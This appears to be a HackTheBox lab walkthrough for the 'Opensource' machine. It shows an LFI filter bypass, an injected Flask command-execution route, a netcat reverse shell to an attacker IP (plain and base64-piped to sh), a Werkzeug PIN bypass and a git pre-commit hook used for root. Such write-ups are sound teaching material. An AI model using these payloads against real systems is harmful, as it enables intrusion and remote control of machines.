9.9 KiB
HackTheBox - Opensource
NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Sat, 21 May 2022 19:02:18 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: upcloud - Upload files for Free!
3000/tcp filtered ppp
PORT 80 (HTTP)
The webserver was hosting something called upcloud
Since it's using Werkzeug
chances are that we may have access to console
But this was protected by a PIN so let's move on to explore what options we have on the site.
We have an option to upload files also to download the source code
Looking at the source code we have git repo of the file
So the first thing that I usually check is for git logs
We have two commits made in this repo, the latest one just shows that the application was running in debug mode but now is running in production so nothing really in the commits
Running git branch
showed that there was another branch named dev
and we were currenlty viewing public
Switching the branch with git switch dev
And checking the commits made in this branch we get credentials for dev01
which we maybe able to use it somewhere else
Checking the source code from the public branch
In views.py
, we can see that it has a functionality to upload files in the directory uploads
and in the upload_file
function it's calling another function from utils.py
named get_file_name
This function is being used for sanitzing file name incase of a LFI (Local File Inclusion) and it's being called recursively
After the file name is sanitzed and uploaded, we can access it through /uploads/filename
But it's using os.join.path
which is vulnerable to path traversal if there's an absolute path being used it will ignore the basepath
We can try for LFI here but it's not going to work as the function get_file_name
is removing ../
recursively
We can bypass this as Werkzeug will normalize //upcloud
to /upcloud
So we can provide ..//etc/passwd
which will bypass the filter`
Also we can fuzz for the LFI payload using LFI-Jhaddix.txt
from seclists
wfuzz -c -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://10.10.11.164/uploads/FUZZ' --hl 254,5
Which url decodes to ../../..//../../etc/passwd
which bypasses the recursive search for ../
Foothold (Method 1)
Checking the upload functionality we can upload files and can rewrite files on the server meaning that we need to replace views.py with our own route for executing commands since the server is running in debug mode and it will restart the server on detecting changes , I tested this locally and it was working
I added a route in the file for executing commands
def run_command(command):
return subprocess.Popen(command, shell=True, stdout=subprocess.PIPE).stdout.read()
@app.route('/<command>')
def command_server(command):
return run_command(command)
Intercepting the request to upload a file
Now changing the filename to /..//../app/app/views.py
this replace views.py which is on the server
I checked if nc
was on the target machine
We can just a openbsd nc reverse shell payload by encoding it to base64 and piping it to sh
since bash
wasn't there
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 3333 >/tmp/f
echo 'cm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuOTYgMzMzMyA+L3RtcC9mCg==' | base64 -d | sh
Foothold (Method 2)
We can get foothold by generating the console PIN using the exploit from here
https://github.com/wdahlenburg/werkzeug-debug-console-bypass
Replacing the values in the exploit by reading the MAC from /sys/class/net/eth0/address
, boot-id from /proc/sys/kernel/random/boot_id
and cgroup from /proc/self/cgroup
also replacing the path to flask app , modname and the user running this flask app
We can get the MAC address through the LFI we found and convert it to decimal
mac = "02:42:ac:11:00:02"
int(mac.replace(":", ""), 16)
Reading the boot_id
And the cgroup file
Combine the both boot_id and cgroup
Now we just need to replace the values in pin generation script
https://github.com/wdahlenburg/werkzeug-debug-console-bypass/blob/main/werkzeug-pin-bypass.py
Running the script we'll get a pin
Privilege Escalation (dev01)
After getting a shell on the container, there wasn't anything, I ran pspy, linpeas but nothing came out of interest, but if check our nmap scan there was port 3000 which was filtered, since we are on a container the gateway is usually the host machine
So running an nmap through the container (by using a statically compiled binary of nmap )
We can use chisel
to port forward this (by of course transferring on the container)
Here we can use the credentials found from the dev branch
In this repo we can get the ssh key for dev01 user
Privilege Escalation (root)
Transferring pspy for mointoring background processes we can see git-sync
being ran as a root user
Reading this script
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
It just detects if there are any changes in dev01's home directory and if there are it adds that file into the repo and makes a commit
We can't really do exploit this script but I came across an article on exploiting git hooks
https://medium.com/@knownsec404team/analysis-of-cve-2019-11229-from-git-config-to-rce-32c217727baa
Which abuses git hooks, this wasn't really the exact scenario here but it gave me an idea to abuse git hooks, so we can include a git hook script in .git/hooks
and we want pre-commit
script
We can include a pre-commit
script which will run before the commit is made
And now waiting for the git-sync to ran which will then trigger this pre-commit script and give us a root shell